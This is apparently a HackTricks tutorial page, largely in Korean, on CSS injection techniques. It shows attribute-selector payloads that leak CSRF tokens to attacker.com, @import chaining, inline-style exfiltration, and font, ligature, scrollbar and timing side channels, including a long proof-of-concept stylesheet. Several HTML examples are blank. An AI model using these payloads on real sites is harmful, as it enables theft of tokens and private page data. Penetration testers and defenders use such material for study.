# CSS Injection {{#include ../../../banners/hacktricks-training.md}} ## CSS Injection ### Attribute Selector CSS 선택자는 `input` 요소의 `name`과 `value` 속성 값과 일치하도록 작성됩니다. 만약 `input` 요소의 `value` 속성 값이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); } input[name="csrf"][value^="b"] { background-image: url(https://attacker.com/exfil/b); } /* ... */ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` 그러나 이 방식은 숨겨진 input 요소(`type="hidden"`)를 다룰 때 제한이 있습니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다. #### 숨겨진 요소 우회 방법 이 제한을 우회하려면 이후의 형제 요소를 타깃하기 위해 `~` 일반 형제 선택자를 사용할 수 있습니다. 그러면 CSS 규칙이 숨겨진 input 요소 다음에 오는 모든 형제 요소에 적용되어 배경 이미지가 로드됩니다: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Prerequisites for CSS Injection For the CSS Injection technique to be effective, certain conditions must be met: 1. **Payload Length**: CSS injection 벡터는 조작된 selectors를 수용할 수 있을 만큼 충분히 긴 payload를 지원해야 합니다. 2. **CSS Re-evaluation**: 페이지를 프레이밍(frame)할 수 있어야 하며, 이는 새로 생성된 payload로 CSS 재평가를 트리거하는 데 필요합니다. 3. **External Resources**: 이 기법은 외부에 호스팅된 이미지를 사용할 수 있다고 가정합니다. 이는 사이트의 Content Security Policy (CSP)에 의해 제한될 수 있습니다. ### Blind Attribute Selector As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ It's also possible to use those selectors to extract information from several block of the same type like in: ```html ``` 이것을 다음 **@import** 기법과 결합하면, **[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)을 사용한 blind 페이지로부터 CSS injection으로 많은 info를 exfiltrate할 수 있습니다.** ### @import 이전 기법에는 몇 가지 단점이 있으니, 사전 요구사항을 확인하세요. 피해자에게 **여러 링크를 보낼 수 있어야 하거나**, 또는 **CSS injection 취약 페이지를 iframe할 수 있어야** 합니다. 하지만, 기술의 품질을 개선하기 위해 **CSS `@import`**를 사용하는 또 다른 영리한 기법이 있습니다. 이것은 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)가 처음 제시했으며, 작동 방식은 다음과 같습니다: 이전처럼 동일한 페이지를 매번 수십 개의 서로 다른 payload로 반복해서 로드하는 대신, 우리는 **페이지를 한 번만 로드하고 공격자 서버로의 import만 포함시키는 방식**(이것이 피해자에게 보낼 payload이다)을 사용할 것입니다: ```css @import url("//attacker.com:5001/start?"); ``` 1. import는 공격자로부터 **어떤 CSS 스크립트**를 받게 되며 **브라우저가 이를 로드**한다. 2. 공격자가 보낼 CSS 스크립트의 첫 부분은 **또 다른 `@import`로 attackers server에 대한 요청**이다. 1. attackers server는 아직 이 요청에 응답하지 않을 것이다. 우리는 일부 문자를 leak한 다음, 다음 문자들을 leak할 payload로 이 import에 응답하려고 하기 때문이다. 3. payload의 두 번째이자 더 큰 부분은 **attribute selector leakage payload**가 될 것이다. 1. 이것은 attackers server로 **secret의 첫 문자와 마지막 문자**를 전송할 것이다. 4. attackers server가 **secret의 첫 문자와 마지막 문자**를 수신하면, **2단계에서 요청된 import에 응답**할 것이다. 1. 응답은 **단계 2, 3, 4**와 정확히 동일하지만, 이번에는 **secret의 두 번째 문자와 끝에서 두 번째 문자**를 찾으려고 할 것이다. attacker는 이 루프를 **secret을 완전히 leak할 때까지** 반복한다. You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection) > [!TIP] > 스크립트는 매번 시작과 끝에서 각각 2개의 문자를 발견하려고 시도한다(앞과 뒤에서). 이는 attribute selector가 다음과 같은 동작을 허용하기 때문이다: > > ```css > /* value^= to match the beggining of the value*/ > input[value^="0"] { > --s0: url(http://localhost:5001/leak?pre=0); > } > > /* value$= to match the ending of the value*/ > input[value$="f"] { > --e0: url(http://localhost:5001/leak?post=f); > } > ``` > > 이렇게 하면 스크립트가 secret을 더 빠르게 leak할 수 있다. > [!WARNING] > 때때로 스크립트는 **발견된 prefix + suffix가 이미 완전한 flag라는 것을 올바르게 감지하지 못**하고, prefix는 앞으로, suffix는 뒤로 계속 진행하다가 어느 시점에서 멈출 수 있다.\ > 걱정할 필요는 없다. **output**을 확인하면 **flag를 볼 수 있다**. ### Inline-Style CSS Exfiltration (attr() + if() + image-set()) This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value. > [!WARNING] > Equality comparisons in if() require double quotes for string literals. Single quotes will not match. - Sink: 요소의 style 속성을 제어하고 대상 속성이 동일한 요소에 있도록 보장한다 (attr()은 동일 요소의 속성만 읽는다). - Read: 속성 값을 CSS 변수로 복사한다: `--val: attr(title)`. - Decide: 변수를 문자열 후보들과 비교하는 중첩된 조건문으로 URL을 선택한다: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`. - Exfiltrate: `background: image-set(var(--steal))`(또는 네트워크 요청을 발생시키는 다른 속성)를 적용해 선택된 엔드포인트로 요청을 강제한다. Attempt (does not work; single quotes in comparison): ```html
test
``` 동작하는 payload (비교 시 큰따옴표 필수): ```html
test
``` 중첩된 조건문으로 속성 값 열거: ```html
``` 실제 시연 (사용자 이름 탐색): ```html
``` Notes and limitations: - 연구 시점에는 Chromium 기반 브라우저에서 동작합니다; 다른 엔진에서는 동작이 다를 수 있습니다. - 유한/열거 가능한 값 공간(IDs, flags, 짧은 사용자명)에 가장 적합합니다. 외부 스타일시트 없이 임의의 긴 문자열을 탈취하는 것은 여전히 어렵습니다. - URL을 가져오는 모든 CSS 속성은 요청을 트리거하는 데 사용할 수 있습니다(예: background/image-set, border-image, list-style, cursor, content). Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda ### 다른 선택자 DOM의 일부에 접근하는 다른 방법들 (**CSS selectors** 사용): - **`.class-to-search:nth-child(2)`**: 이것은 DOM에서 클래스 "class-to-search"를 가진 두 번째 항목을 검색합니다. - **`:empty`** selector: 예를 들어 [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**에서 사용됨:** ```css [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); } ``` ### 오류 기반 XS-Search **Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) 전체 의도는 제어되는 엔드포인트에서 **커스텀 폰트를 사용**하고, 지정된 리소스(`favicon.ico`)를 불러올 수 없을 때만 **텍스트(이 경우, 'A')가 해당 폰트로 표시되도록 하는 것**입니다. ```html A ``` 1. **Custom Font Usage**: - `` 섹션의 `

AB

htm ``` When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B". ### Text node exfiltration (I): ligatures **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) 이 기법은 font ligatures를 악용하고 너비 변화를 관찰하여 노드의 텍스트를 추출하는 방법을 설명합니다. 과정은 다음과 같습니다: 1. **Creation of Custom Fonts**: - SVG fonts를 만들어 glyph에 `horiz-adv-x` 속성을 설정하여 두 문자 시퀀스를 나타내는 glyph의 너비를 크게 만듭니다. - 예제 SVG glyph: ``, 여기서 "XY"는 두 글자 시퀀스를 나타냅니다. - 그런 다음 이 폰트들을 fontforge를 사용해 woff 포맷으로 변환합니다. 2. **Detection of Width Changes**: - CSS로 텍스트가 줄 바꿈되지 않도록 (`white-space: nowrap`) 하고 스크롤바 스타일을 커스터마이즈합니다. - 가로 스크롤바가 특정하게 스타일링되어 나타나는 것은 특정 ligature(따라서 특정 문자 시퀀스)가 텍스트에 존재함을 나타내는 오라클 역할을 합니다. - 관련 CSS: ```css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); } ``` 3. **Exploit Process**: - **Step 1**: 폭이 큰 쌍 문자(pair)용 폰트를 생성합니다. - **Step 2**: 큰 너비 glyph(ligature)가 렌더링될 때를 감지하기 위해 스크롤바 기반 트릭을 사용하여 해당 문자 시퀀스의 존재를 확인합니다. - **Step 3**: ligature가 감지되면, 감지된 쌍을 포함하고 앞뒤에 문자를 추가한 세 글자 시퀀스를 나타내는 새로운 glyph를 생성합니다. - **Step 4**: 세 글자 ligature의 감지를 수행합니다. - **Step 5**: 이 과정을 반복하여 전체 텍스트를 점진적으로 드러냅니다. 4. **Optimization**: - 현재 ` **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) 이 트릭은 이 [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/)에서 공개되었습니다. text node에서 사용된 charset은 브라우저에 기본 설치된 기본 폰트만 사용하여도 유출될 수 있습니다: 외부 폰트나 커스텀 폰트가 필요 없습니다. 개념은 애니메이션을 사용해 `div`의 너비를 점진적으로 확장하여 한 번에 한 문자씩 텍스트의 'suffix' 부분에서 'prefix' 부분으로 이동하게 하는 것입니다. 이 과정은 텍스트를 두 부분으로 나눕니다: 1. Prefix: 초기 라인. 2. Suffix: 이후 라인들. 문자들의 전이 단계는 다음과 같이 보입니다: **C**\ ADB **CA**\ DB **CAD**\ B **CADB** 이 전이 동안, **unicode-range trick**을 사용해 prefix에 합류하는 각 새 문자를 식별합니다. 이는 글꼴을 Comic Sans로 전환함으로써 이루어지며, Comic Sans가 기본 폰트보다 눈에 띄게 더 높기 때문에 수직 스크롤바가 발생합니다. 이 스크롤바의 출현은 새로운 문자가 prefix에 들어왔음을 간접적으로 드러냅니다. 이 방법은 등장하는 고유 문자를 감지할 수 있지만, 어떤 문자가 반복되었는지는 특정하지 못하고 단지 반복이 발생했음을 알리는 것뿐입니다. > [!TIP] > 기본적으로 **unicode-range**는 문자를 감지하는 데 사용됩니다, 하지만 외부 폰트를 로드하고 싶지 않으므로 다른 방법을 찾아야 합니다.\ > **char**가 **찾아지면**, 그 문자에는 사전 설치된 **Comic Sans** 폰트가 **적용**되어 문자가 **더 커지고** 결과적으로 **스크롤바를 트리거**하며 이는 찾아진 문자를 **leak**합니다. Check the code extracted from the PoC: ```css /* comic sans is high (lol) and causes a vertical overflow */ @font-face { font-family: has_A; src: local("Comic Sans MS"); unicode-range: U+41; font-style: monospace; } @font-face { font-family: has_B; src: local("Comic Sans MS"); unicode-range: U+42; font-style: monospace; } @font-face { font-family: has_C; src: local("Comic Sans MS"); unicode-range: U+43; font-style: monospace; } @font-face { font-family: has_D; src: local("Comic Sans MS"); unicode-range: U+44; font-style: monospace; } @font-face { font-family: has_E; src: local("Comic Sans MS"); unicode-range: U+45; font-style: monospace; } @font-face { font-family: has_F; src: local("Comic Sans MS"); unicode-range: U+46; font-style: monospace; } @font-face { font-family: has_G; src: local("Comic Sans MS"); unicode-range: U+47; font-style: monospace; } @font-face { font-family: has_H; src: local("Comic Sans MS"); unicode-range: U+48; font-style: monospace; } @font-face { font-family: has_I; src: local("Comic Sans MS"); unicode-range: U+49; font-style: monospace; } @font-face { font-family: has_J; src: local("Comic Sans MS"); unicode-range: U+4a; font-style: monospace; } @font-face { font-family: has_K; src: local("Comic Sans MS"); unicode-range: U+4b; font-style: monospace; } @font-face { font-family: has_L; src: local("Comic Sans MS"); unicode-range: U+4c; font-style: monospace; } @font-face { font-family: has_M; src: local("Comic Sans MS"); unicode-range: U+4d; font-style: monospace; } @font-face { font-family: has_N; src: local("Comic Sans MS"); unicode-range: U+4e; font-style: monospace; } @font-face { font-family: has_O; src: local("Comic Sans MS"); unicode-range: U+4f; font-style: monospace; } @font-face { font-family: has_P; src: local("Comic Sans MS"); unicode-range: U+50; font-style: monospace; } @font-face { font-family: has_Q; src: local("Comic Sans MS"); unicode-range: U+51; font-style: monospace; } @font-face { font-family: has_R; src: local("Comic Sans MS"); unicode-range: U+52; font-style: monospace; } @font-face { font-family: has_S; src: local("Comic Sans MS"); unicode-range: U+53; font-style: monospace; } @font-face { font-family: has_T; src: local("Comic Sans MS"); unicode-range: U+54; font-style: monospace; } @font-face { font-family: has_U; src: local("Comic Sans MS"); unicode-range: U+55; font-style: monospace; } @font-face { font-family: has_V; src: local("Comic Sans MS"); unicode-range: U+56; font-style: monospace; } @font-face { font-family: has_W; src: local("Comic Sans MS"); unicode-range: U+57; font-style: monospace; } @font-face { font-family: has_X; src: local("Comic Sans MS"); unicode-range: U+58; font-style: monospace; } @font-face { font-family: has_Y; src: local("Comic Sans MS"); unicode-range: U+59; font-style: monospace; } @font-face { font-family: has_Z; src: local("Comic Sans MS"); unicode-range: U+5a; font-style: monospace; } @font-face { font-family: has_0; src: local("Comic Sans MS"); unicode-range: U+30; font-style: monospace; } @font-face { font-family: has_1; src: local("Comic Sans MS"); unicode-range: U+31; font-style: monospace; } @font-face { font-family: has_2; src: local("Comic Sans MS"); unicode-range: U+32; font-style: monospace; } @font-face { font-family: has_3; src: local("Comic Sans MS"); unicode-range: U+33; font-style: monospace; } @font-face { font-family: has_4; src: local("Comic Sans MS"); unicode-range: U+34; font-style: monospace; } @font-face { font-family: has_5; src: local("Comic Sans MS"); unicode-range: U+35; font-style: monospace; } @font-face { font-family: has_6; src: local("Comic Sans MS"); unicode-range: U+36; font-style: monospace; } @font-face { font-family: has_7; src: local("Comic Sans MS"); unicode-range: U+37; font-style: monospace; } @font-face { font-family: has_8; src: local("Comic Sans MS"); unicode-range: U+38; font-style: monospace; } @font-face { font-family: has_9; src: local("Comic Sans MS"); unicode-range: U+39; font-style: monospace; } @font-face { font-family: rest; src: local("Courier New"); font-style: monospace; unicode-range: U+0-10FFFF; } div.leak { overflow-y: auto; /* leak channel */ overflow-x: hidden; /* remove false positives */ height: 40px; /* comic sans capitals exceed this height */ font-size: 0px; /* make suffix invisible */ letter-spacing: 0px; /* separation */ word-break: break-all; /* small width split words in lines */ font-family: rest; /* default */ background: grey; /* default */ width: 0px; /* initial value */ animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */ animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */ } div.leak::first-line { font-size: 30px; /* prefix is visible in first line */ text-transform: uppercase; /* only capital letters leak */ } /* iterate over all chars */ @keyframes trychar { 0% { font-family: rest; } /* delay for width change */ 5% { font-family: has_A, rest; --leak: url(?a); } 6% { font-family: rest; } 10% { font-family: has_B, rest; --leak: url(?b); } 11% { font-family: rest; } 15% { font-family: has_C, rest; --leak: url(?c); } 16% { font-family: rest; } 20% { font-family: has_D, rest; --leak: url(?d); } 21% { font-family: rest; } 25% { font-family: has_E, rest; --leak: url(?e); } 26% { font-family: rest; } 30% { font-family: has_F, rest; --leak: url(?f); } 31% { font-family: rest; } 35% { font-family: has_G, rest; --leak: url(?g); } 36% { font-family: rest; } 40% { font-family: has_H, rest; --leak: url(?h); } 41% { font-family: rest; } 45% { font-family: has_I, rest; --leak: url(?i); } 46% { font-family: rest; } 50% { font-family: has_J, rest; --leak: url(?j); } 51% { font-family: rest; } 55% { font-family: has_K, rest; --leak: url(?k); } 56% { font-family: rest; } 60% { font-family: has_L, rest; --leak: url(?l); } 61% { font-family: rest; } 65% { font-family: has_M, rest; --leak: url(?m); } 66% { font-family: rest; } 70% { font-family: has_N, rest; --leak: url(?n); } 71% { font-family: rest; } 75% { font-family: has_O, rest; --leak: url(?o); } 76% { font-family: rest; } 80% { font-family: has_P, rest; --leak: url(?p); } 81% { font-family: rest; } 85% { font-family: has_Q, rest; --leak: url(?q); } 86% { font-family: rest; } 90% { font-family: has_R, rest; --leak: url(?r); } 91% { font-family: rest; } 95% { font-family: has_S, rest; --leak: url(?s); } 96% { font-family: rest; } } /* increase width char by char, i.e. add new char to prefix */ @keyframes loop { 0% { width: 0px; } 1% { width: 20px; } 2% { width: 40px; } 3% { width: 60px; } 4% { width: 80px; } 4% { width: 100px; } 5% { width: 120px; } 6% { width: 140px; } 7% { width: 0px; } } div::-webkit-scrollbar { background: blue; } /* side-channel */ div::-webkit-scrollbar:vertical { background: blue var(--leak); } ``` ### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) **Reference:** 이것은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)로 언급되어 있습니다. 이 경우는 이전 것과 매우 유사하지만, 여기서는 특정한 **문자를 다른 문자보다 더 크게 만들어 숨기는 것**이 목표입니다 — 예를 들어 봇이 누르지 않도록 버튼을 숨기거나 이미지를 로드되지 않게 하는 경우입니다. 따라서 동작(또는 동작의 부재)을 측정해서 특정 문자가 텍스트에 존재하는지 알 수 있습니다. ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) **Reference:** 이것은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)로 언급되어 있습니다. 이 경우에는 같은 origin에서 fake font를 로드하여 텍스트에 특정 char가 있는지를 leak하려고 시도할 수 있습니다: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1); unicode-range: U+0041; } ``` If there is a match, the **폰트는 `/static/bootstrap.min.css?q=1`에서 로드됩니다**. 비록 성공적으로 로드되지는 않겠지만, **브라우저는 이를 캐시해야 하며**, 캐시가 없어도 **304 not modified** 메커니즘이 있어서 **응답이 다른 것들보다 더 빠를 것**입니다. 그러나 캐시된 응답과 비캐시 응답 간의 시간 차이가 충분히 크지 않다면, 이것은 유용하지 않습니다. 예를 들어, 작성자는 다음과 같이 언급했습니다: 그러나 테스트해보니 첫 번째 문제는 속도 차이가 크지 않았고, 두 번째 문제는 봇이 `disk-cache-size=1` 플래그를 사용한다는 점인데, 이는 정말 신중한 설정이라고 합니다. ### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) **참고:** 본 내용은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)에서 언급되어 있습니다 이 경우 매치가 발생하면 동일한 오리진에서 수백 개의 가짜 폰트를 로드하도록 **CSS**를 지정할 수 있습니다. 이렇게 하면 소요 시간을 **측정**해서 특정 char가 나타나는지 여부를 다음과 같은 방식으로 알아낼 수 있습니다: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2), .... url(/static/bootstrap.min.css?q=500); unicode-range: U+0041; } ``` 그리고 봇의 코드는 다음과 같습니다: ```python browser.get(url) WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') time.sleep(30) ``` 따라서 폰트가 일치하지 않으면 봇을 방문할 때 응답 시간은 대략 30초 정도가 될 것으로 예상됩니다. 반면 폰트가 일치하면 폰트를 가져오기 위해 여러 요청이 전송되어 네트워크에 지속적인 활동이 발생합니다. 그 결과 중지 조건을 만족시키고 응답을 받는 데 더 오래 걸립니다. 따라서 응답 시간은 폰트 일치 여부를 판단하는 지표로 사용할 수 있습니다. ## References - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) - [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration) - [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda) - [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php) - [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if) - [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) - [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set) {{#include ../../../banners/hacktricks-training.md}}